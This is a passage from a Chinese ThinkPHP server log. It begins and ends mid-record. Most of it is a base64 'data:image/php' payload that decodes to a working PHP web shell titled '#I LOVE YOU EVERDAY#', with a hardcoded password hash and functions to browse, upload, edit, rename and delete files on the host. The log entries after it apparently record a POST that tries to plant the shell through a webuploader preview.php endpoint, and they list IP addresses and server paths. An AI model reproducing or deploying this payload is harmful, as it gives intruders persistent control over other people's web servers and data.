'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:49+08:00 ] 119.42.146.234 POST 59.110.137.245/style/admin/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002907s] [吞吐率:344.02req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'style', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 